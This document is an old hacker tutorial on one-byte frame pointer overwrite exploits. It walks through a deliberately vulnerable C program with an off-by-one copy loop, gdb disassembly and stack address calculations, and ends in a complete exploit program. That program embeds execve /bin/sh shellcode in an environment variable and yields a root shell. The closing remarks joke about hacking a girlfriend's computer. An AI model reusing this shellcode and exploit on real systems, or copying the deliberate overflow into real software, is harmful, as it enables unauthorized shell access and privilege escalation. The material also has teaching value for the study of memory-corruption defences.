ONE BYTE FRAME POINTER OVERWRITE HARDCODED EXPLOITS - A CASE STUDY - BY nebunu Hello again!Recently i've seen many exploits using this method,i've looked on the net for some good tutorials to satisfy a friend curiosity but i only find the one that was published in Phrack,too hard to understand for beginners.Thats why i'm gonna clear things up a bit.Understanding this,involves knowledge of classical buffer overflow and stack image. If you dont know these things,stop reading this and take a look at this instead: http://www.enderunix.org/documents/eng/bof-eng.txt Ok,here is our case study: --------------- vuln.c -------------------- #include void f(char *sm) { char z[8]; int i; for(i=0;i<=8;i++) z[i]=sm[i]; } int main(int argc,char **argv) { f(argv[1]); } ------------------------------------------- Lets see how the stack looks like in this case: [eip] [ebp] char z[8] int i; [esp] As you can easily see the f()'s saved frame pointer is overwritten by only one byte,here is the vulnerable loop: for(i=0;i<=8;i++)z[i]=sm[i]; As a result(take a look at the stack's image) ebp is overwritten by ONLY one byte and the stack looks like this now: [eip] [altered ebp by one byte] char z[8] int i; [esp] Lets take a closer look and fire up the good old gdb: [root@nebunu hack]# gcc vuln.c -o vuln [root@nebunu hack]# gdb vuln GNU gdb Red Hat Linux (5.2.1-4) Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) disas f Dump of assembler code for function f: 0x80482f4 : push %ebp 0x80482f5 : mov %esp,%ebp 0x80482f7 : sub $0x10,%esp 0x80482fa : movl $0x0,0xfffffff4(%ebp) 0x8048301 : cmpl $0x8,0xfffffff4(%ebp) 0x8048305 : jle 0x8048309 0x8048307 : jmp 0x8048322 0x8048309 : lea 0xfffffff8(%ebp),%eax 0x804830c : mov %eax,%edx 0x804830e : add 0xfffffff4(%ebp),%edx 0x8048311 : mov 0xfffffff4(%ebp),%eax 0x8048314 : add 0x8(%ebp),%eax 0x8048317 : mov (%eax),%al 0x8048319 : mov %al,(%edx) 0x804831b : lea 0xfffffff4(%ebp),%eax 0x804831e : incl (%eax) 0x8048320 : jmp 0x8048301 0x8048322 : leave 0x8048323 : ret End of assembler dump. (gdb) disas main Dump of assembler code for function main: 0x8048324
: push %ebp 0x8048325 : mov %esp,%ebp 0x8048327 : sub $0x8,%esp 0x804832a : and $0xfffffff0,%esp 0x804832d : mov $0x0,%eax 0x8048332 : sub %eax,%esp 0x8048334 : sub $0xc,%esp 0x8048337 : mov 0xc(%ebp),%eax 0x804833a : add $0x4,%eax 0x804833d : pushl (%eax) 0x804833f : call 0x80482f4 0x8048344 : add $0x10,%esp 0x8048347 : leave 0x8048348 : ret 0x8048349 : nop 0x804834a : nop 0x804834b : nop End of assembler dump. (gdb) quit >From the disassemble code of f() you see the following: sub $0x10,%esp It means that the function's stack is 0x10=16 bytes. 4 bytes are allocated to int i,8 are allocated to char z[8] and 4 are allocated to frame pointer held in register ebp. In order to understand better,we will set a breakpoint to ret instruction of function f() and to ret instruction of main() at 0x8048323 and 0x8048348. [root@nebunu hack]# gdb vuln GNU gdb Red Hat Linux (5.2.1-4) Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) break *0x8048323 Breakpoint 1 at 0x8048348 (gdb) break *0x8048348 Breakpoint 2 at 0x8048348 (gdb) r AAAAAAAAA Starting program: /root/hack/vuln AAAAAAAAA Breakpoint 1, 0x08048323 in f () (gdb) i r ebp ebp 0xbffffa41 0xbffffa41 (gdb) c Continuing. Breakpoint 2, 0x08048348 in main () (gdb) i r esp esp 0xbffffa45 0xbffffa45 (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x0040012b in ?? () (gdb) q The program is running. Exit anyway? (y or n) y [root@nebunu hack]# By running the program with 9 chars instead of 8,we overwrite ebp last byte with 0x41 (0x41 is A in hex). When we return from f() our ebp is 0xbffffa41,and when we return from main() esp (stack pointer) is 0xbffffa41+4=0xbffffa45,because ebp was restored in esp (leave instruction) and poped from the stack (4 bytes were added to it). Here is the stack image: [eip] [altered ebp by one byte] char z[8] int i; [esp] By altering esp,the whole stack is translated,therefore a random eip is poped from the stack,so a random instruction will be executed :) Lets investigatate further: .............. (gdb) disas f Dump of assembler code for function f: 0x80482f4 : push %ebp 0x80482f5 : mov %esp,%ebp 0x80482f7 : sub $0x10,%esp 0x80482fa : movl $0x0,0xfffffff4(%ebp) 0x8048301 : cmpl $0x8,0xfffffff4(%ebp) 0x8048305 : jle 0x8048309 0x8048307 : jmp 0x8048322 0x8048309 : lea 0xfffffff8(%ebp),%eax 0x804830c : mov %eax,%edx 0x804830e : add 0xfffffff4(%ebp),%edx 0x8048311 : mov 0xfffffff4(%ebp),%eax 0x8048314 : add 0x8(%ebp),%eax 0x8048317 : mov (%eax),%al 0x8048319 : mov %al,(%edx) 0x804831b : lea 0xfffffff4(%ebp),%eax 0x804831e : incl (%eax) 0x8048320 : jmp 0x8048301 0x8048322 : leave 0x8048323 : ret End of assembler dump. (gdb) break *0x80482fa Breakpoint 2 at 0x80482fa (gdb) r AAAAAAAAA The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /root/hack/vuln AAAAAAAAA Breakpoint 2, 0x080482fa in f () (gdb) i r esp esp 0xbffffaa8 0xbffffaa8 Now we got esp just before f()'s frame is being activated. Here is the exploit image: [altered ebp] [shellcode address] [shellcode] [nops] It's easy! ebp will be poped from the stack,instruction [shellcode address] will be executed (our fake eip) and it will point to a shellcode. Well,we dont have space for a shellcode,remember that our buffer z[8] is only 8 bytes long? So,if we cant put a shellcode into a buffer what shall we do now? We can use alot of tricks here.Here is a simple one: In our buffer (8 bytes) put a instruction,it will point to our shellcode located in an environment pointer,or higher in memory. Here is the image: [altered ebp] [address to jmp shellcode] [jmp shellcode] Now,lets get the locations,shall we? Since esp is 0xbffffaa8,our buffer in which we'll put the instruction will be placed at 0xbffffaa8+0x04=0xbffffaac where 0x04 is sizeof int i and the pointer to it will be located at 0xbffffaac+0x08-0x04=0xbffffab0. The last byte to alter ebp will be b0-4=ac since when main() returns ebp will be poped from the stack so we have to compensate 4 bytes. Here is the final stack image: [saved eip] [altered ebp] [address to jmp shellcode] --> this is esp [jmp shellcode] Or,to be more specific [saved eip] [0xa4] --> this is the byte that will overflow ebp [0xbffffaac] --> this is the address of instruction [jmp shellcode] Now,enough talking,lets put together the exploit. I'm planning to put the shellcode into an environment,so i know it's exact address,if you dont know what i'm talking about follow the link i gave you at the beginning of this paper. Knowing it's exact address,we write a program that contains instruction,dissasemble it,take the opcodes that fits into 8 bytes and apply the above scheme. ----------------------- dummy.c ----------------------------- #include #include #include char sc[]="\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; void main() { int ret = 0xbffffffa - strlen(sc) - strlen("/root/hack/vuln"); /* this gives us the exact address of the shellcode located in vuln's environment */ printf("\n\n%x\n\n"); } ------------------------------------------------------------- We compile it and run it in order to find the exact address of the shellcode.Dont forget to change /root/hack/vuln with your path in which the vulnerable program lays. [root@nebunu hack]# gcc dummy.c -o dummy dummy.c: In function `main': dummy.c:5: warning: return type of `main' is not `int' [root@nebunu hack]# ./dummy bfffffd3 [root@nebunu hack]# Now we must obtain the opcodes for instruction. Lets go for it: ------------------------- dummy2.c ----------------------- #include main() { __asm("jmp 0xbfffffd3"); } ----------------------------------------------------------- [root@nebunu hack]# gcc dummy2.c -o dummy [root@nebunu hack]# objdump -S dummy | grep jmp 804822a: ff 25 48 94 04 08 jmp *0x8049448 8048234: ff 25 4c 94 04 08 jmp *0x804944c 804823f: e9 e0 ff ff ff jmp 8048224 <_init+0x18> 8048304: e9 ca 7c fb b7 jmp bfffffd3 <_end+0xb7fb6b7b> We are interestead in this: 8048304: e9 ca 7c fb b7 jmp bfffffd3 <_end+0xb7fb6b7b> Our jump shellcode is,as you see "\xe9\xca\x7c\xfb\xb7" Oh noooo! It is 5 bytes long!! 5 bytes jmp shellcode + 4 bytes the address of that makes 9 bytes,and our buffer is only 8 bytes long!! We were owned! :( Are we? We must change the with something that fits in only 4 bytes..lets write a dummy exploit to get the idea.Dont worry, i'll write the real one after so keep reading :) ----------------------- expl.c ---------------------- #include char shellcode[]="\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; char dummy_shellcode[]="\x41\x41\x41\x41"; /* our dummy address */ char *env[2]={shellcode,NULL}; char buffer[9]; main() { /* here we set our instruction */ strcat(buffer,dummy_shellcode); /* here we set it's address,which is (see before),0xbffffaac */ buffer[4]=0xac; buffer[5]=0xfa; buffer[6]=0xff; buffer[7]=0xbf; /* here we set the overflowing byte */ buffer[8]=0xac; /* we run the code */ execle("/root/hack/vuln","vuln",buffer,NULL,env); } -------------------------------------------------------- [root@nebunu hack]# gcc expl.c -o expl; [root@nebunu hack]# gdb --exec=expl --symbol=vuln ..... (gdb) r Starting program: /root/hack/expl Program received signal SIGTRAP, Trace/breakpoint trap. 0x40000b30 in _start () from /lib/ld-linux.so.2 (gdb) disas main Dump of assembler code for function main: 0x8048324
: push %ebp 0x8048325 : mov %esp,%ebp 0x8048327 : sub $0x8,%esp 0x804832a : and $0xfffffff0,%esp 0x804832d : mov $0x0,%eax 0x8048332 : sub %eax,%esp 0x8048334 : sub $0xc,%esp 0x8048337 : mov 0xc(%ebp),%eax 0x804833a : add $0x4,%eax 0x804833d : pushl (%eax) 0x804833f : call 0x80482f4 0x8048344 : add $0x10,%esp 0x8048347 : leave 0x8048348 : ret 0x8048349 : nop 0x804834a : nop 0x804834b : nop End of assembler dump. (gdb) break *0x8048348 Breakpoint 1 at 0x8048348 (gdb) c Continuing. Breakpoint 1, 0x08048348 in main () (gdb) i r esp esp 0xbffffeb0 0xbffffeb0 (gdb) x 0xbffffeb0 0xbffffeb0: 0x41414141 (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) See? eip is overwritten with our dummy address,so we can put the shellcode into an environment pointer,since we know it's exact address,which is(read before),bfffffd3. Here is the real exploit: ------------------ expl.c ------------------------- #include char shellcode[]="\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; char dummy_shellcode[]="\xd3\xff\xff\xbf"; /* shellcode's address */ char *env[2]={shellcode,NULL}; char buffer[9]; main() { /* here we set our instruction */ strcat(buffer,dummy_shellcode); /* here we set it's address,which is (see before),0xbffffaac */ buffer[4]=0xac; buffer[5]=0xfa; buffer[6]=0xff; buffer[7]=0xbf; /* here we set the overflowing byte */ buffer[8]=0xac; /* we run the code */ execle("/root/hack/vuln","vuln",buffer,NULL,env); } -------------------------------------------------------- [root@nebunu hack]# gcc expl.c -o expl;./expl sh-2.05b# exit [root@nebunu hack]# Of course,this is a tough nut to crack,real life exploits are far more easier to write then this,because they all have the buffer greater than 8 bytes and you can padd the way trough shellcode with nops,so we must not be so exact in the shellcode calculation.One can set the esp to point in the middle of the nops before executing the shellcode. But there is a problem though. If the buffer is not the first variable near ebp,the other variables may be overwritten and the program will gave a wrong output.In order to prevent this,you must construct the buffer in such a way to keep the initial values for the variables. But this,in a future tutorial. Okay,that was it.The samba exploit was based on this tehnique, the sendmail exploit uses the same method. I know it's not easy to understand for beginners,but we all were beginners once,we all wanted to hack in our girlfriend's computer before switching to serious hacking.Dont be mad if you dont understand it from the very first time,read it again and again, read other tutorials regarding the matter(including Phrack), and someday,after several years this will seem very easy. Please dont mail me any questions since i'm caught with exams and i dont have time to answer. You have permission to publish it on your site as long as you dont change anything and credit has been given. If you find any mistakes in it,then please mail me,i'll find 5 minutes to answer you. Greetings to rebel( heya mate ),neworder team and all the friends i know. Dont cry if you're not on the list,i forgot to add you,but that doesnt mean i've forgotten you :) Sorry,my english sucks,but i'm not native. Have a nice exploitation, nebunu